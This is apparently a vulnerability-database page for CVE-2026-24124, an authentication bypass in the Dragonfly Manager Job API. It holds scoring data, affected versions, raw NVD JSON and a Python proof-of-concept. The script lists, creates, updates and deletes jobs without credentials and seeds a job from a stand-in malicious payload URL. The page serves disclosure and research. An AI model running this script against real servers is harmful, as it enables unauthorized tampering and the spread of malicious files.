Security Vulnerability Report
中文
CVE-2026-24124 CVSS 9.8 CRITICAL

CVE-2026-24124

Published: 2026-01-22 23:15:58
Last Modified: 2026-02-26 21:42:54

Description

Dragonfly is an open source P2P-based file distribution and image acceleration system. In versions 2.4.1-rc.0 and below, the Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to view, update and delete jobs. The issue is fixed in version 2.4.1-rc.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:dragonfly:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:dragonfly:2.4.1:beta0:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:dragonfly:2.4.1:beta1:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:dragonfly:2.4.1:rc0:*:*:*:go:*:* - VULNERABLE
Dragonfly <= 2.4.1-rc.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-24124 PoC - Dragonfly Job API Unauthorized Access # Target: Dragonfly Manager API with vulnerable /api/v1/jobs endpoint target_url = "http://target-server:8080" # 1. List all jobs (GET - No authentication required) print("[+] Testing unauthorized job listing...") response = requests.get(f"{target_url}/api/v1/jobs") if response.status_code == 200: print(f"[SUCCESS] Retrieved {len(response.json())} jobs without authentication") jobs = response.json() # 2. Create malicious job (POST - No authentication required) print("[+] Testing unauthorized job creation...") malicious_job = { "task_id": "malicious-task-001", "type": "seed", "url": "http://malicious-source.com/payload", "state": "pending" } response = requests.post(f"{target_url}/api/v1/jobs", json=malicious_job) if response.status_code in [200, 201]: print("[SUCCESS] Created job without authentication") job_id = response.json().get("id") # 3. Update job (PUT - No authentication required) if job_id: print(f"[+] Testing unauthorized job update for job {job_id}...") updated_job = {"state": "cancelled", "result": "manipulated"} response = requests.put(f"{target_url}/api/v1/jobs/{job_id}", json=updated_job) if response.status_code == 200: print("[SUCCESS] Updated job without authentication") # 4. Delete job (DELETE - No authentication required) if job_id: print(f"[+] Testing unauthorized job deletion for job {job_id}...") response = requests.delete(f"{target_url}/api/v1/jobs/{job_id}") if response.status_code in [200, 204]: print("[SUCCESS] Deleted job without authentication") print("[*] Vulnerability confirmed: Job API accessible without authentication")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24124", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:58.153", "lastModified": "2026-02-26T21:42:54.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dragonfly is an open source P2P-based file distribution and image acceleration system. In versions 2.4.1-rc.0 and below, the Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to view, update and delete jobs. The issue is fixed in version 2.4.1-rc.1."}, {"lang": "es", "value": "Dragonfly es un sistema de distribución de archivos y aceleración de imágenes basado en P2P de código abierto. En las versiones 2.4.1-rc.0 e inferiores, los endpoints de la API de trabajos (/api/v1/jobs) carecen de middleware de autenticación JWT y de comprobaciones de autorización RBAC en la configuración de enrutamiento. Esto permite a cualquier usuario no autenticado con acceso a la API del Manager ver, actualizar y eliminar trabajos. El problema se ha corregido en la versión 2.4.1-rc.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:dragonfly:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.4.1", "matchCriteriaId": "8415ECC7-F04F-4D86-B1B1-63AA3947A69C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:dragonfly:2.4.1:beta0:*:*:*:go:*:*", "matchCriteriaId": "4CD047B6-68F7-4CC9-9561-A4D079103877"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:dragonfly:2.4.1:beta1:*:*:*:go:*:*", "matchCriteriaId": "51F51456-C6A6-49D3-AD56-E0910F0DFE14"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:dragonfly:2.4.1:rc0:*:*:*:go:*:*", "matchCriteriaId": "F7FE647B-92E9-460E-BC22-BCDBE9144730"}]}]}], "references": [{"url": "https://github.com/dragonflyoss/dragonfly/commit/9fb9a2dfde3100f32dc7f48eabee4c2b64eac55f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-j8hf-cp34-g4j7", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}